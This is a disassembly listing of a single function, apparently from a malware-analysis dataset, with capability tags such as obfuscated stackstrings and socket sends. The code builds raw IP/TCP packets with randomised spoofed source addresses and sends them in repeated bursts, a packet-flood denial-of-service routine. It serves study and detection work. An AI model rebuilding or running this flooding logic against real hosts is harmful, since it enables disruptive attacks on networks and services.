Function at 0x1315bd18
Capabilities:
Contain obfuscated stackstrings
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x494
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x84]
rep stosd dword es:[edi], eax
xor ebx, ebx
push 1
stosw word es:[edi], ax
push ebx
push ebx
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0xb0]
push 0xff
push 3
push 2
rep stosd dword es:[edi], eax
mov dword [esp + 0x48], esi
mov dword [esp + 0x88], 1
mov dword [esp + 0x8c], 0xbb8
call dword [fcn.1315eaf4]
mov edi, eax
mov dword [esp + 0x34], edi
cmp dword [esp + 0x34], ebx
jne 0x1315bd86
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x494
ret
mov ebp, dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [esp + 0x70]
push 4
push eax
push 2
push ebx
push edi
call ebp
cmp eax, 0xffffffff
jne 0x1315bdab
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x494
ret
lea ecx, [esp + 0x74]
push 4
push ecx
push 0x1005
push 0xffff
push edi
call ebp
cmp eax, 0xffffffff
jne 0x1315bdd1
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x494
ret
mov ax, word [0x1315e074]
mov ebp, dword [sym.imp.WS2_32.dll_ntohs]
xor edx, edx
push eax
mov dword [esp + 0x64], edx
mov word [esp + 0x64], 2
mov dword [esp + 0x68], edx
mov dword [esp + 0x6c], edx
mov dword [esp + 0x70], edx
call ebp
push 0x1315df70
mov ecx, esi
mov word [esp + 0x66], ax
call fcn.1315b460
mov dword [esp + 0x64], eax
mov eax, dword [0x1315ec04]
cmp eax, ebx
jne 0x1315c0e9
mov byte [esp + 0x4c], 0x45
mov byte [esp + 0x4d], bl
mov word [esp + 0x50], 1
mov word [esp + 0x52], 0x40
mov byte [esp + 0x54], 0x80
mov byte [esp + 0x55], 6
mov byte [esp + 0x44], 0x50
mov word [esp + 0x4a], bx
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
mov byte [esp + 0x28], 0x4b
mov byte [esp + 0x29], 0x45
mov byte [esp + 0x2a], 0x52
mov byte [esp + 0x2b], 0x4e
mov byte [esp + 0x2c], 0x45
mov byte [esp + 0x2d], 0x4c
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x32], 0x6c
mov byte [esp + 0x33], 0x6c
mov byte [esp + 0x34], bl
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], 0x65
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x54
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x63
mov byte [esp + 0x1e], 0x6b
mov byte [esp + 0x1f], 0x43
mov byte [esp + 0x20], 0x6f
mov byte [esp + 0x21], 0x75
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], bl
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
call esi
push eax
call sub.msvcrt.dll_srand
add esp, 4
call esi
call sub.msvcrt.dll_rand
cdq
mov ecx, 0xfd
idiv ecx
inc edx
push edx
call sub.msvcrt.dll_rand
cdq
mov ecx, 0xfc
idiv ecx
inc edx
push edx
call sub.msvcrt.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
push edx
lea edx, [esp + 0x90]
push 0x131525d4
push edx
call sub.msvcrt.dll_sprintf
add esp, 0x14
push 0x28
call ebp
mov word [esp + 0x4e], ax
lea eax, [esp + 0x84]
push eax
mov word [esp + 0x5a], bx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
mov eax, dword [esp + 0x64]
mov dword [esp + 0x58], esi
mov dword [esp + 0x5c], eax
mov edi, eax
call sub.msvcrt.dll_rand
mov byte [esp + 0x80], al
call sub.msvcrt.dll_rand
push 0x14
mov byte [esp + 0x85], al
call ebp
mov word [esp + 0x82], ax
call sub.msvcrt.dll_rand
cdq
mov ecx, 0x401
idiv ecx
push edx
call ebp
mov dx, word [0x1315e074]
mov word [esp + 0x38], ax
push edx
call ebp
mov word [esp + 0x3a], ax
call sub.msvcrt.dll_rand
cdq
mov ecx, 0x35a4e900
idiv ecx
add edx, 0x186a0
push edx
call dword [sym.imp.WS2_32.dll_ntohl]
mov dword [esp + 0x3c], eax
call sub.msvcrt.dll_rand
cdq
mov ecx, 3
idiv ecx
mov dword [esp + 0x40], edx
call sub.msvcrt.dll_rand
and eax, 0x80000001
jns 0x1315bfe1
dec eax
or eax, 0xfffffffe
inc eax
neg eax
sbb al, al
push 0x200
and al, 0xe
add al, 2
mov byte [esp + 0x49], al
call ebp
mov edx, dword [esp + 0x80]
mov dword [esp + 0xa4], esi
mov dword [esp + 0xa8], edi
mov ecx, 5
lea esi, [esp + 0x38]
lea edi, [esp + 0xb0]
mov word [esp + 0x46], ax
mov word [esp + 0x48], bx
mov dword [esp + 0xac], edx
lea eax, [esp + 0xa4]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x30]
push 0x20
push eax
call fcn.1315b400
mov ecx, 5
lea esi, [esp + 0x4c]
lea edi, [esp + 0xa4]
mov word [esp + 0x48], ax
rep movsd dword es:[edi], dword [esi]
mov ecx, 5
lea esi, [esp + 0x38]
lea edi, [esp + 0xb8]
push 0x28
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0xa8]
mov dword [esp + 0xd0], ebx
push ecx
mov ecx, dword [esp + 0x38]
call fcn.1315b400
mov ecx, 5
lea esi, [esp + 0x4c]
lea edi, [esp + 0xa4]
mov word [esp + 0x56], ax
rep movsd dword es:[edi], dword [esi]
mov ecx, 5
lea esi, [esp + 0x38]
lea edi, [esp + 0xb8]
rep movsd dword es:[edi], dword [esi]
mov esi, 0x64
mov ecx, dword [esp + 0x34]
lea edx, [esp + 0x60]
push 0x10
push edx
push ebx
lea eax, [esp + 0xb0]
push 0x28
push eax
push ecx
call dword [sym.imp.WS2_32.dll_sendto]
dec esi
jne 0x1315c0b0
mov edx, dword [0x1315df6c]
push edx
call dword [sym.imp.kernel32.dll_Sleep]
cmp dword [0x1315ec04], ebx
je 0x1315be46
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x494
ret